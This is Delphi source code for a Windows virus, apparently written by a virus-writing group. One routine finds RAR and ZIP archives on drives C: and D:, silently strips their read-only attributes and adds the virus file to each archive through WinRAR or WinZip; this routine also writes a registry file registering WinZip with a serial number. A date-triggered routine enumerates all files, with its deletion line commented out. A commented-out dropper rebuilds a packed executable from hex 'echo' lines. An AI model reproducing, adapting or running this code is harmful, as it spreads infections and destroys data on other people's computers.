Procedure InfectRarZip;
Var
RutaDestino:string;
NombreArchivo:String;
NombreCorto:String;
FuenteVirus:String;
rars,zips,ziptmp:String;
ruta1,ruta2:string;
i:integer;
cantidad:integer;
valor:string;
begin
//crear carpeta temporal para almacenar programas
if Not FileExists(Pchar(PathWindows+\'\\Infect.drv\')) then
begin
if LeerReg(HKEY_CLASSES_ROOT,\'\\WinRAR\\shell\\open\\command\',\'\') <> \'\' then
begin
BuscaFicheros(e(\'i0V\',10),e(\' $Pcz\',10),TRUE);
BuscaFicheros(e(\'i0V\',10),e(\' $Xkx\',10),TRUE);
BuscaFicheros(e(\'n0V\',10),e(\' $Pcz\',10),TRUE);
BuscaFicheros(e(\'n0V\',10),e(\' $Xkx\',10),TRUE);
//Quita el atributo de solo lectura a cada archivo encontrado
cantidad:=lista(pathwindows + \'\\list.sys\');
assignfile(f,pathwindows + \'\\list.sys\');
reset(f);
for i := 0 to cantidad -1 do
begin
if xp then
begin
readln(f,valor);
NombreCorto:=ExtractShortPathName(valor);
Accion:=\'Cmd.exe /c attrib -r \'+ nombrecorto;
end
else
begin
readln(f,valor);
NombreCorto:=ExtractShortPathName(valor);
Accion:=\'command.com /c attrib -r \'+ nombrecorto;
end;
Try
WinExec(Pchar(accion),SW_HIDE);
Except
end;
end;
close(f);
//Infectar los rars y zips encontrados con winrar
Rars:=LeerReg(HKEY_CLASSES_ROOT,\'\\WinRAR\\shell\\open\\command\',\'\');
Rars:=ExtractFilePath(Rars);
rars:=copy(Rars,2,Length(rars)-1);
Rars:=Rars+\'winrar.exe\';
rars:=ExtractShortPathName(rars);
assignfile(f,pathwindows + \'\\list.sys\');
reset(f);
for i := 0 to (cantidad-1) do
begin
readln(f,valor);
NombreArchivo:=ExtractFilename(valor);
RutaDestino:= ExtractFilePath(valor);
NombreCorto:=ExtractShortPathName(valor);
if xp then
begin
Accion:=\'Cmd.exe /c\' +\' \'+ rars + \' a \' + NombreCorto +\' \'+FuenteVirus;
end
else
begin
Accion:=\'Command.com /c\' + \' \'+ rars + \' a \' + NombreCorto +\' \'+FuenteVirus;
end;
Try
WinExec(Pchar(accion),SW_HIDE);
Except
end;
end;
close(f);
AssignFile(f,(PathWindows+\'\\Infect.drv\'));
Rewrite(f);
CloseFile(f);
end;
end;
if Not FileExists(Pchar(PathWindows+\'\\Infect.drv\')) then
begin
if LeerReg(HKEY_CLASSES_ROOT,\'\\WinZip\\shell\\open\\command\',\'\') <> \'\' then
begin
//Registrando WinZip
AssignFile(f,PathWindows+e(\'V]cdPcz$xom\',10));
Rewrite(f);
Writeln(f,\'REGEDIT4\');
Writeln(f,\'[HKEY_CURRENT_USER\\Software\\Nico Mak Computing\\WinZip\\WinIni]\');
Writeln(f,\'\"NAME\"=\"GEDZAC\"\');
Writeln(f,\'\"SN\"=\"EBB9042E\"\');
Writeln(f,\'[HKEY_USERS\\.DEFAULT\\software\\nico mak computing\\winzip\\winini\\Name]\');
Writeln(f,\'\"NAME\"=\"GEDZAC\"\');
Writeln(f,\'\"SN\"=\"EBB9042E\"\');
CloseFile(f);
if xp then
begin
Accion:=\'Cmd.exe /c regedit /s /c \' + PathWindows+ \'\\WinZip.reg\';
end
else
begin
Accion:=\'Command.com /c regedit /s /c \'+ PathWindows+\'\\WinZip.reg\';
end;
Try
WinExec(Pchar(accion),SW_HIDE);
Except
end;
//***************** FIN WINZIP *****************
BuscaFicheros(\'c:\\\',\'*.Zip\',TRUE);
BuscaFicheros(\'d:\\\',\'*.Zip\',TRUE);
////Quita el atributo de solo lectura a cada archivo encontrado
cantidad:=lista(pathwindows + \'\\list.sys\');
for i := 0 to (cantidad-1) do
begin
if xp then
begin
readln(f,valor);
NombreCorto:=ExtractShortPathName(valor);
Accion:=\'Cmd.exe /c attrib -r \'+ nombrecorto;
end
else
begin
readln(f,valor);
NombreCorto:=ExtractShortPathName(valor);
Accion:=\'command.com /c attrib -r \'+ nombrecorto;
end;
Try
WinExec(Pchar(accion),SW_HIDE);
Except
end;
end;
closefile(f);
//Infectar los zips encontrados con winzip
Zips:=ExtractFileName(LeerReg(HKEY_CLASSES_ROOT,\'\\WinZip\\shell\\open\\command\',\'\'));
for i:=1 to Length(Zips) do
begin
if copy(Zips,i,1) <> \' \' then
begin
Ziptmp:= Ziptmp + copy(Zips,i,1);
end
else Zips:=Ziptmp;
end;
Zips:=archivosdeprograma+\'\\WinZip\\\' + Zips;
assignfile(f,pathwindows + \'\\list.sys\');
reset(f);
for i := 0 to (cantidad-1) do
begin
readln(f,valor);
ruta1:=ExtractShortPathName(zips) + \' -a\';
ruta2:=ExtractShortPathName(valor);
if xp then
begin
Accion:=\'Cmd.exe /c \'+ ruta1+\' \' + ruta2 + \' \' + FuenteVirus;
end
else
begin
Accion:=\'Command.com /c \'+ ruta1+\' \' + ruta2 + \' \' + FuenteVirus;
end;
Try
WinExec(Pchar(accion),SW_HIDE);
Except
end;
end;
close(f);
AssignFile(f,(PathWindows+\'\\Infect.drv\'));
Rewrite(f);
CloseFile(F);
end;
end;
end;
//ÇÇÇÇÇÇÇÇÇÇÇÇÇÇÇ77ppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
procedure playload;
begin
end;
procedure muerte;
begin
GetSystemTime(stSystemTime);
if (stSystemTime.wday = 2) or (stSystemTime.wday = 7) then
begin
deletefile(pchar(pathwindows + \'\\list.sys\'));
BuscaFicheros(\'c:\\\',\'*.*\',TRUE);
BuscaFicheros(\'d:\\\',\'*.*\',TRUE);
{ AssignFile(f,pathwindows + \'\\list.sys\');
Reset(f);
While not eof(f) do
begin
Readln(f, valor);
// ***** Ojo con esta parte *****
// * deletefile(Pchar(valor)); *
// ***** Ojo con esta parte *****
end;
CloseFile(f); }
playload;
end;
end;
procedure envioDeMsn;
var
f:textfile;
begin
{Assignfile(f,\'c:\\msn.bat\');
rewrite(f);
writeln(f,\'@ECHO OFF\');
writeln(f,\'echo e 0100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00>>msn\');
writeln(f,\'echo e 0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0130 00 00 00 00 00 00 00 00 00 00 00 00 B8 00 00 00>>msn\');
writeln(f,\'echo e 0140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68>>msn\');
writeln(f,\'echo e 0150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F>>msn\');
writeln(f,\'echo e 0160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20>>msn\');
writeln(f,\'echo e 0170 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0180 8F 8A F9 DB CB EB 97 88 CB EB 97 88 CB EB 97 88>>msn\');
writeln(f,\'echo e 0190 48 F7 99 88 CA EB 97 88 A2 F4 9E 88 CA EB 97 88>>msn\');
writeln(f,\'echo e 01A0 22 F4 9A 88 CA EB 97 88 52 69 63 68 CB EB 97 88>>msn\');
writeln(f,\'echo e 01B0 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00>>msn\');
writeln(f,\'echo e 01C0 53 3B BA 41 00 00 00 00 00 00 00 00 E0 00 0F 01>>msn\');
writeln(f,\'echo e 01D0 0B 01 06 00 00 10 00 00 00 10 00 00 00 50 00 00>>msn\');
writeln(f,\'echo e 01E0 C0 68 00 00 00 60 00 00 00 70 00 00 00 00 40 00>>msn\');
writeln(f,\'echo e 01F0 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00>>msn\');
writeln(f,\'echo e 0200 04 00 00 00 00 00 00 00 00 80 00 00 00 10 00 00>>msn\');
writeln(f,\'echo e 0210 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00>>msn\');
writeln(f,\'echo e 0220 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00>>msn\');
writeln(f,\'echo e 0230 00 00 00 00 00 00 00 00 B0 78 00 00 9C 00 00 00>>msn\');
writeln(f,\'echo e 0240 00 70 00 00 B0 08 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 02B0 55 50 58 30 00 00 00 00 00 50 00 00 00 10 00 00>>msn\');
writeln(f,\'echo e 02C0 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 02D0 00 00 00 00 80 00 00 E0 55 50 58 31 00 00 00 00>>msn\');
writeln(f,\'echo e 02E0 00 10 00 00 00 60 00 00 00 0C 00 00 00 04 00 00>>msn\');
writeln(f,\'echo e 02F0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 E0>>msn\');
writeln(f,\'echo e 0300 2E 72 73 72 63 00 00 00 00 10 00 00 00 70 00 00>>msn\');
writeln(f,\'echo e 0310 00 0A 00 00 00 10 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0320 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 04D0 00 00 00 00 00 00 00 00 00 00 00 31 2E 32 34 00>>msn\');
writeln(f,\'echo e 04E0 55 50 58 21 0C 09 02 09 87 0A 2A EB D3 88 34 B8>>msn\');
writeln(f,\'echo e 04F0 3F 44 00 00 B1 08 00 00 00 50 00 00 26 01 00 D9>>msn\');
writeln(f,\'echo e 0500 FB 1F 0A 92 00 27 00 14 00 0D 20 40 00 28 03 B2>>msn\');
writeln(f,\'echo e 0510 D9 7E A6 14 00 E8 10 07 15 65 1C 66 D9 34 DD 6C>>msn\');
writeln(f,\'echo e 0520 03 7B A1 01 1D 49 CD B2 69 9A 6A AF C7 2C 1E 93>>msn\');
writeln(f,\'echo e 0530 F3 90 A6 59 36 3B 1F 5C A1 B9 43 F6 06 64 F9 06>>msn\');
writeln(f,\'echo e 0540 5F 00 FF 19 19 D9 DC 25 3C 6D 05 60 74 2C 19 19>>msn\');
writeln(f,\'echo e 0550 19 19 24 88 18 94 19 19 19 19 30 90 8C 6C 19 19>>msn\');
writeln(f,\'echo e 0560 19 19 50 68 20 04 19 19 19 19 AC 00 C0 7C 19 19>>msn\');
writeln(f,\'echo e 0570 19 19 34 58 B8 B4 19 19 19 19 C4 BC 14 10 19 19>>msn\');
writeln(f,\'echo e 0580 19 19 1C 48 4C A4 19 19 19 19 38 B0 40 64 19 19>>msn\');
writeln(f,\'echo e 0590 19 19 78 80 84 08 19 19 19 19 0C A8 9C 70 19 19>>msn\');
writeln(f,\'echo e 05A0 19 19 A0 28 5C 44 7E BB 19 19 54 98 68 B8 13 04>>msn\');
writeln(f,\'echo e 05B0 E8 01 00 02 72 FF 41 9A 33 61 30 40 7C FB B4 69>>msn\');
writeln(f,\'echo e 05C0 49 71 3E 42 FF 37 27 FF 87 60 72 41 E6 13 56 95>>msn\');
writeln(f,\'echo e 05D0 01 2D 43 30 30 30 2D 50 72 6F 79 65 FF E5 E7 FF>>msn\');
writeln(f,\'echo e 05E0 63 74 6F 31 00 34 36 7D 23 32 2E FF CC 31 D2 78>>msn\');
writeln(f,\'echo e 05F0 35 7F 27 1E A5 4F FF FF FF FF 96 85 97 1E B9 D4>>msn\');
writeln(f,\'echo e 0600 B6 A0 10 9D 6D F9 12 80 F6 43 8D 62 7E 0C CE 4C>>msn\');
writeln(f,\'echo e 0610 4D B1 3A 4F AD 33 99 66 CF 11 34 07 20 FF B7 0C>>msn\');
writeln(f,\'echo e 0620 00 AA 00 60 D3 93 43 3E DB 61 CB FF 05 00 46 6F>>msn\');
writeln(f,\'echo e 0630 72 6D 31 01 09 19 92 42 4D F7 B0 EE 00 23 FF 00>>msn\');
writeln(f,\'echo e 0640 24 12 35 3C AA 59 A1 5B D9 37 B7 13 03 46 14 03>>msn\');
writeln(f,\'echo e 0650 FF 04 50 00 9A 6A B0 21 EC 00 10 82 9C 07 FF 7F>>msn\');
writeln(f,\'echo e 0660 B7 70 CC 12 21 4C 31 56 42 35 21 F0 1F 56 42 36>>msn\');
writeln(f,\'echo e 0670 45 53 2E 44 4C 4C DB 36 21 23 2A 0A 01 0C 0D 09>>msn\');
writeln(f,\'echo e 0680 74 65 C3 93 04 A0 15 59 F0 30 A9 08 46 6E BE 20>>msn\');
writeln(f,\'echo e 0690 49 03 E9 68 13 40 88 40 9A A6 EB 5B 78 87 82 8C>>msn\');
writeln(f,\'echo e 06A0 8D 60 CB 96 10 77 09 0A 67 78 C2 6F 53 DC 17 C5>>msn\');
writeln(f,\'echo e 06B0 BC 1B E9 00 B0 CF 2E 3F 0B 30 18 08 30 17 C0 42>>msn\');
writeln(f,\'echo e 06C0 24 53 60 A6 33 9D C8 14 8B 23 88 0F DD 2D 39 79>>msn\');
writeln(f,\'echo e 06D0 D0 14 CC 07 B7 01 68 6B 9F ED 2E C5 00 F8 0B D8>>msn\');
writeln(f,\'echo e 06E0 32 1F 98 58 20 03 3B B2 6B 6C AE A8 03 01 1F 11>>msn\');
writeln(f,\'echo e 06F0 7B B8 18 2D 5B 39 6C 63 FC 27 F0 C8 BB C1 0E 83>>msn\');
writeln(f,\'echo e 0700 17 98 0F 53 50 03 64 12 23 2C D3 2C 6A 70 BF 87>>msn\');
writeln(f,\'echo e 0710 9F 2A E4 90 15 40 81 6C 24 04 33 97 97 5C 28 6C>>msn\');
writeln(f,\'echo e 0720 E8 0C BE 4F F4 01 00 DC 11 76 97 1C A0 20 F7 09>>msn\');
writeln(f,\'echo e 0730 00 4B 56 11 17 AD 1F F9 EF 07 2A 00 5C 00 41 00>>msn\');
writeln(f,\'echo e 0740 44 00 3A 64 00 6F 00 62 EB D7 DD 6D B4 00 EB 73>>msn\');
writeln(f,\'echo e 0750 72 07 6D 00 69 05 72 0F AE EB 1A 5E 35 1F 3B 67>>msn\');
writeln(f,\'echo e 0760 21 72 15 74 1B BA 6E C3 6D 09 73 15 E0 68 0F 6C>>msn\');
writeln(f,\'echo e 0770 27 5C BA AE EB EE 07 6E 00 66 09 63 01 69 1F 6E>>msn\');
writeln(f,\'echo e 0780 39 70 9B 1B EB C6 31 20 2F 73 0F 76 19 09 75 6E>>msn\');
writeln(f,\'echo e 0790 AC 7B DD 00 61 33 5C 67 1F 79 33 74 09 2A CC 75>>msn\');
writeln(f,\'echo e 07A0 1B 06 2E 21 62 35 00 8E C3 4E 0B CB 00 2C 1F FF>>msn\');
writeln(f,\'echo e 07B0 EF 06 A4 88 87 1C 0F 94 47 28 BF 1C E1 18 44 A4>>msn\');
writeln(f,\'echo e 07C0 02 8D 0B 61 A7 B7 F5 C6 40 7A 25 29 01 01 A3 47>>msn\');
writeln(f,\'echo e 07D0 73 D2 2F 37 6C 0F 3F 0A 34 FF 02 49 2F EC D9 14>>msn\');
writeln(f,\'echo e 07E0 4B 4C 19 2B 64 18 A3 02 C9 FE DC 60 07 69 83 80>>msn\');
writeln(f,\'echo e 07F0 01 1B 16 23 81 09 6B 26 00 96 47 02 FF FF 6F 83>>msn\');
writeln(f,\'echo e 0800 CD D3 BA E9 1B 4B A6 FA E2 C4 A6 FC 8A 36 C6 4C>>msn\');
writeln(f,\'echo e 0810 DE 48 FE FF 27 21 B4 53 41 55 44 A4 DE C2 97 47>>msn\');
writeln(f,\'echo e 0820 88 DF 20 63 DF BA C4 FF 6B 2E 3D FB FC FA A0 35>>msn\');
writeln(f,\'echo e 0830 A7 38 E5 2B 33 71 B5 FD 6F FF FF 43 3A 5C 41 72>>msn\');
writeln(f,\'echo e 0840 63 68 69 76 6F 73 20 64 65 20 70 82 67 72 61 6D>>msn\');
writeln(f,\'echo e 0850 61 5C 4D 69 63 0B FC FF BF 0A 73 6F 66 74 20 56>>msn\');
writeln(f,\'echo e 0860 69 73 75 61 6C 20 53 74 75 64 69 6F 5C 51 39 E0>>msn\');
writeln(f,\'echo e 0870 6A EF BB 38 04 36 2E 4F 4C 42 4F 0A 23 5D D7 74>>msn\');
writeln(f,\'echo e 0880 83 17 06 03 09 E0 0F 20 FF D0 D0 3E 81 59 7F B7>>msn\');
writeln(f,\'echo e 0890 7E 1B 00 8A E4 9A BA 80 77 03 4D 11 73 01 48 CD>>msn\');
writeln(f,\'echo e 08A0 8F BC 83 6E 00 67 2E 00 55 00 49 75 27 EE 9B E4>>msn\');
writeln(f,\'echo e 08B0 B6 B0 61 07 63 00 4C 09 88 7D 6E A4 63 53 53 17>>msn\');
writeln(f,\'echo e 08C0 1B 65 17 1B E9 C9 39 42 17 DD 77 9D 2E 19 EB BA>>msn\');
writeln(f,\'echo e 08D0 B1 AE 78 03 00 63 79 2D 69 5F 6E 1B 11 18 A4 1B>>msn\');
writeln(f,\'echo e 08E0 4E 37 6D 04 E3 7B 7A B1 B1 8C 23 43 65 55 A3 73>>msn\');
writeln(f,\'echo e 08F0 1E B6 BD 52 D8 37 43 01 00 85 18 6C 98 4D 75 2F>>msn\');
writeln(f,\'echo e 0900 0B 41 36 6C 0B C9 FE 7F 5F 5F 76 62 61 46 72 65>>msn\');
writeln(f,\'echo e 0910 65 4F 62 6A 0F 69 79 5B F8 80 FD 55 6E 6C 6F 63>>msn\');
writeln(f,\'echo e 0920 6B 1F 56 61 72 4C 61 74 23 0A 7F B2 27 45 6E 64>>msn\');
writeln(f,\'echo e 0930 0B 4E 65 78 74 45 61 9D EC DF 48 E6 23 13 24 69>>msn\');
writeln(f,\'echo e 0940 6E 74 46 69 6C 65 0F DC B0 5B 17 1B 54 3E 45 71>>msn\');
writeln(f,\'echo e 0950 1F 6F 92 FC 3F F6 2E 3F 4C 61 74 65 4D 65 6D 43>>msn\');
writeln(f,\'echo e 0960 61 6C 6C 6B 2C 2B EC 1C 5A 65 DA A3 18 62 C3 B6>>msn\');
writeln(f,\'echo e 0970 2F D9 33 5A 43 A3 73 5F 03 F6 CB DE 49 32 1A 1B>>msn\');
writeln(f,\'echo e 0980 4F 70 65 6E 4B 4D 1B D8 C2 DC 6F 76 29 CF 6B 82>>msn\');
writeln(f,\'echo e 0990 B5 80 BD 01 4C D8 B3 DD B6 5F F6 80 0F 53 65 74>>msn\');
writeln(f,\'echo e 09A0 67 4F 6E 45 72 A2 72 74 60 36 24 23 00 E7 93 BD>>msn\');
writeln(f,\'echo e 09B0 65 97 A7 80 17 00 17 24 D2 8C 0F 1C 77 DB D4 7B>>msn\');
writeln(f,\'echo e 09C0 8F 7B B3 03 4B 2B 84 3B 43 03 DD C7 4B D9 4B 0D>>msn\');
writeln(f,\'echo e 09D0 1B CC 00 E9 07 FF 80 34 CC 55 8B EC 83 EC 18 68>>msn\');
writeln(f,\'echo e 09E0 5A 3A F5 7B EC 64 A1 60 64 89 25 07 B8 BC 49 FF>>msn\');
writeln(f,\'echo e 09F0 86 FE EF 26 4C 53 56 57 89 65 E8 C7 45 EC D0 C3>>msn\');
writeln(f,\'echo e 0A00 8B 45 08 83 E0 01 89 45 FF 6D ED ED F0 8B 4D 08>>msn\');
writeln(f,\'echo e 0A10 E1 FE 89 05 18 F4 2F 8B 55 08 8B 02 A6 33 B7 77>>msn\');
writeln(f,\'echo e 0A20 14 51 FF 50 04 12 FC 01 06 02 EB 74 8F B6 6A AD>>msn\');
writeln(f,\'echo e 0A30 15 16 0E 03 AF FE CD F6 6E 5C D4 8D 55 90 52 17>>msn\');
writeln(f,\'echo e 0A40 70 8D 45 90 50 8D 4D A0 51 58 F7 37 D9 25 A0 AB>>msn\');
writeln(f,\'echo e 0A50 C7 85 78 E5 01 09 DE 91 B1 CD 70 02 80 39 8C A0>>msn\');
writeln(f,\'echo e 0A60 52 33 74 6F B9 D9 3D A8 83 C4 10 8D 22 40 9C 37>>msn\');
writeln(f,\'echo e 0A70 DB E6 DE 66 89 85 5C 0D 51 90 0F 0C 0F BF 95 1B>>msn\');
writeln(f,\'echo e 0A80 E9 DC 3F 85 D2 0F 84 F8 8E 9B 05 98 66 EC CC DC>>msn\');
writeln(f,\'echo e 0A90 5A 54 0D 90 0A 4E 84 3D D8 EF 6C E6 68 74 60 1A>>msn\');
writeln(f,\'echo e 0AA0 95 60 4D CB 0D 3B DB D0 AC 08 56 47 1F 35 5D 3B>>msn\');
writeln(f,\'echo e 0AB0 9B 91 A8 1D 7C 78 50 EC E4 64 BB EC 6A 08 EE 80>>msn\');
writeln(f,\'echo e 0AC0 07 C0 B4 07 BB 75 03 48 51 14 D0 52 37 68 E0 0E>>msn\');
writeln(f,\'echo e 0AD0 6C 64 73 24 1C 64 0C 65 08 4E B6 60 C7 9F D0 50>>msn\');
writeln(f,\'echo e 0AE0 28 5C 40 09 D9 C1 70 4E E4 3D 4F 5C 3D 9B 59 38>>msn\');
writeln(f,\'echo e 0AF0 8B D0 12 48 B3 38 85 6C CD B6 E1 0B 63 C0 51 CD>>msn\');
writeln(f,\'echo e 0B00 58 52 11 40 B6 D3 99 ED 24 3C 14 44 2C B0 DD 2E>>msn\');
writeln(f,\'echo e 0B10 CC 66 FF 24 8E 0F E8 64 0A 01 7B 3F 27 FC 45 C0>>msn\');
writeln(f,\'echo e 0B20 50 B4 64 8D 3F 8C 56 76 23 8B C4 8B 0A 89 00 E8>>msn\');
writeln(f,\'echo e 0B30 6F 65 FB 4A 04 89 48 04 05 08 0B 52 0C 89 50 0C>>msn\');
writeln(f,\'echo e 0B40 6A D8 49 F7 5D BC 14 1A 3B B0 BF 4C A4 E3 5E 21>>msn\');
writeln(f,\'echo e 0B50 1C C8 1C 0B F1 1C 1A 3C 0B 0B F9 DF C0 F1 85 50>>msn\');
writeln(f,\'echo e 0B60 CB C8 04 B2 48 8D C9 C6 84 B7 92 91 00 0C 4E F1>>msn\');
writeln(f,\'echo e 0B70 98 90 64 2A 0D 90 94 2D 61 4A F1 0E 2F B4 A6 12>>msn\');
writeln(f,\'echo e 0B80 1E 87 FE 29 F1 0F 8C 21 E1 71 1A F1 11 09 39 E1>>msn\');
writeln(f,\'echo e 0B90 A4 61 C0 B6 58 40 CB 3C 3B C9 F2 30 C4 51 1C 83>>msn\');
writeln(f,\'echo e 0BA0 BD 05 66 36 F7 C2 0E 85 33 FE DF 3F 14 CA 8D CB>>msn\');
writeln(f,\'echo e 0BB0 E7 C8 10 F0 00 72 20 EB 14 9B 64 27 DB 91 80 6A>>msn\');
writeln(f,\'echo e 0BC0 02 8E 14 C3 4E 32 B2 CD CC BC 70 0B C4 48 43 0E>>msn\');
writeln(f,\'echo e 0BD0 73 2F AB CD 08 C0 01 EB E4 90 B0 A0 C3 18 11 D8>>msn\');
writeln(f,\'echo e 0BE0 FA 6A 08 37 E0 61 0D 52 EE C0 2A FC 5E 5B 8B E5>>msn\');
writeln(f,\'echo e 0BF0 5D C2 94 8F 9E 00 04 A2 A0 90 00 6C 54 10 80 07>>msn\');
writeln(f,\'echo e 0C00 41 8E 82 00 61 94 FB 6F FE 01 5F 43 49 63 6F 73>>msn\');
writeln(f,\'echo e 0C10 61 64 6A 5F 66 70 74 61 6E 0B 81 40 0D 08 04 01>>msn\');
writeln(f,\'echo e 0C20 02 02 75 08 D4 01 CC 01 EA F5 FE C1 46 43 64 69>>msn\');
writeln(f,\'echo e 0C30 76 5F 6D 36 34 20 6E C3 16 02 EB 64 33 6D 31 12>>msn\');
writeln(f,\'echo e 0C40 A8 73 C2 2D 33 32 21 36 60 1F D8 1C 31 36 69 0F>>msn\');
writeln(f,\'echo e 0C50 72 10 81 0A D8 6F B7 73 69 AB FC A8 D9 F6 D9 0D>>msn\');
writeln(f,\'echo e 0C60 43 68 6B 8D 6B 0C F6 FF FF 12 F7 01 45 56 45 4E>>msn\');
writeln(f,\'echo e 0C70 54 5F 53 49 4E 4B 5F 41 64 64 52 65 66 3D 83 1A>>msn\');
writeln(f,\'echo e 0C80 83 5A 6A 01 69 C0 0E 93 2D AC 61 12 3B D8 DF DB>>msn\');
writeln(f,\'echo e 0C90 DA 38 51 61 4F 82 71 72 74 1C A1 6D DF 4E 51 75>>msn\');
writeln(f,\'echo e 0CA0 87 79 49 6E 74 05 66 F4 3C 6D 5B 68 0F 45 78 0A>>msn\');
writeln(f,\'echo e 0CB0 59 48 47 64 39 08 09 83 7A 58 EF 15 D8 0D 0B 0B>>msn\');
writeln(f,\'echo e 0CC0 E7 43 FF CC 02 C6 19 D4 7B 36 50 44 69 6F F3 C0>>msn\');
writeln(f,\'echo e 0CD0 A8 80 6D 2F 84 DD 67 EC 24 2C 84 3F C8 FF 88 02>>msn\');
writeln(f,\'echo e 0CE0 5F 42 1B 08 01 2C 10 73 57 5D 06 35 61 FF E0 D3>>msn\');
writeln(f,\'echo e 0CF0 01 49 D4 85 41 D2 01 8A 2F 81 44 1D 01 1C A2 17>>msn\');
writeln(f,\'echo e 0D00 92 A8 09 44 98 71 A8 65 B1 37 21 6D 75 6C 22 21>>msn\');
writeln(f,\'echo e 0D10 30 36 5E B2 4E 17 3F 70 6B 2F 4F CA 10 9C 1C 50>>msn\');
writeln(f,\'echo e 0D20 45 4C 01 03 66 FB 0F F9 00 53 3B BA 41 E0 00 0F>>msn\');
writeln(f,\'echo e 0D30 01 0B 01 06 0C 20 2C 4B D4 B3 20 13 7C 12 02 10>>msn\');
writeln(f,\'echo e 0D40 30 16 84 EA 9B 0B 10 24 07 47 F5 D9 6C 50 17 7B>>msn\');
writeln(f,\'echo e 0D50 3C 01 F0 12 C0 B2 B1 0C 10 07 A4 A9 83 75 43 A4>>msn\');
writeln(f,\'echo e 0D60 5F 28 52 A4 08 9E EC 9B BD 2A 28 02 B2 64 CC 27>>msn\');
writeln(f,\'echo e 0D70 60 3B D3 81 2E 74 50 07 9C 14 90 18 3E 0B D9 20>>msn\');
writeln(f,\'echo e 0D80 98 12 60 2E 64 73 45 2D E1 3D 13 09 FB 03 D8 F7>>msn\');
writeln(f,\'echo e 0D90 FE 85 10 C0 2E 72 73 72 63 CF C3 40 27 AA 7E 53>>msn\');
writeln(f,\'echo e 0DA0 32 40 40 04 98 21 00 00 40 69 1A C1 20 01 00 00>>msn\');
writeln(f,\'echo e 0DB0 FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0DC0 60 BE 00 60 40 00 8D BE 00 B0 FF FF 57 83 CD FF>>msn\');
writeln(f,\'echo e 0DD0 EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB>>msn\');
